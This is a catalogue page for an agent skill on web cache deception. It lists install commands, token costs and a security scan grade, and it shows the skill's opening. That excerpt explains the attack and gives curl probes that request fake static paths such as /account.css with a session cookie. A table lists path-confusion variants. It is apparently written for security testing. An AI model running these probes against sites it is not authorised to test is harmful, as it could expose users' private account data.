cache-deception

cache-deception is a skill for Claude Code, Codex from MingyiSecLab/Mingyi-Atlas. It costs 29 tokens per session (1,071 once invoked), scanned A, a copy of cache-deception, Apache-2.0.

A guide to web cache deception, where a cache or CDN stores private account content under a URL that appears public.

In plain words
What is it for?
Use it to test fake static-file paths, inspect cache headers, compare authenticated and unauthenticated responses, and confirm unintended exposure.
Why use it?
It helps identify cases where unauthenticated visitors could receive sensitive data that was cached from an authenticated request.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: positional $N argument.

Good fit Use it to test fake static-file paths, inspect cache headers, compare authenticated and unauthenticated responses, and confirm unintended exposure.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/mingyiseclab/mingyi-atlas/cache-deception
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add MingyiSecLab/Mingyi-Atlas --skill cache-deception
Clone the repo
git clone --depth 1 https://github.com/MingyiSecLab/Mingyi-Atlas

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for cache-deception

README.md
[![agentmods](https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/cache-deception/github.svg)](https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception)
Your own site
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/cache-deception/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for cache-deception

Your own site · 80×15
<a href="https://agentmods.dev/skills/mingyiseclab/mingyi-atlas/cache-deception"><img src="https://agentmods.dev/badge/skills/mingyiseclab/mingyi-atlas/cache-deception.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 29 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,071 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 1 finding. A grade says what 26 rules found in the file — not that it is safe.
Origin 100% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00029 $0.01071
Opus 5 $0.00015 $0.00535
Sonnet 5 $0.00006 $0.00214
Haiku 4.5 $0.00003 $0.00107

Measured 6d ago against content hash df7fd69e3941, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-09, from the pricing page.

Security

Grade A, and why

cache-deception scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'
Origin

This is a copy

100% identical to cache-deception — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

src/skills/standard/exploit/web/cache-deception/SKILL.md · 124 lines

How it starts

The opening of the file, as written. The whole thing — 124 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Web Cache Deception

Reverse proxies / CDNs cache based on URL extension or path patterns (.css, .jpg, /static/). If the origin server returns the authenticated page for any path, attacker tricks the cache into storing private content under a public-cacheable URL.

1. The classic

GET /account.css     ← attacker visits, in their own session
                       Cache miss → origin returns /account (authenticated, w/ user cookies in URL or response body)
                       Cache stores response keyed on /account.css

GET /account.css     ← victim or any unauth visitor
                       Cache HIT → serves the attacker-cached, victim-data response

2. Probe the deception

# Step 1: visit authenticated page w/ a fake .css path
curl -i -H "Cookie: session=$AUTH" $TARGET/account.css | grep -E '^(HTTP|Cache|X-Cache)'

# Look for:
# Cache-Control: public, max-age=...
# X-Cache: MISS (then HIT next time)
# Content-Length consistent w/ /account page (not 404)

# Step 2: from unauth session
curl -i $TARGET/account.css | grep -E 'HTTP|Cache' && diff_response_bodies

If the second request returns the AUTHENTICATED content of step 1 → deception confirmed.

3. Variants

Variant Path
.css suffix /account/foo.css
.jpg suffix /account.jpg
/static/ prefix /static/../account
Multiple slashes /account//.css
URL-encoded ; /account%3B.css
Trailing semi-segment /account;foo.css
Double extension /account.html.css
Path parameter /account.css/anything

Each cache impl handles these differently. Cloudflare / Fastly / Akamai / Varnish all have known quirks.

4. Cache poisoning vs cache deception

  • Deception — attacker forces cache of victim's data, served to others
  • Poisoning — attacker injects content into a normal cached resource

This skill covers deception. Cache poisoning is a separate (overlapping) class.

5. Tools

  • Param Miner (Burp plugin) — unkeyed param discovery
  • webcache.cyberxecution.com for quick suffix probes
  • Manual via Burp Repeater

Read the full file on GitHub · 124 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 6d ago First seen · 124 lines · 29 tokens per session scan A df7fd69e3941

Subscribe to this mod's changes

cache-deception is a skill published in the GitHub repository MingyiSecLab/Mingyi-Atlas (11 stars, last pushed 2mo ago), licensed Apache-2.0. It adds 29 tokens to every session and 1,071 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). It is 100% identical to cache-deception, differing in 0 lines, and is treated as a copy.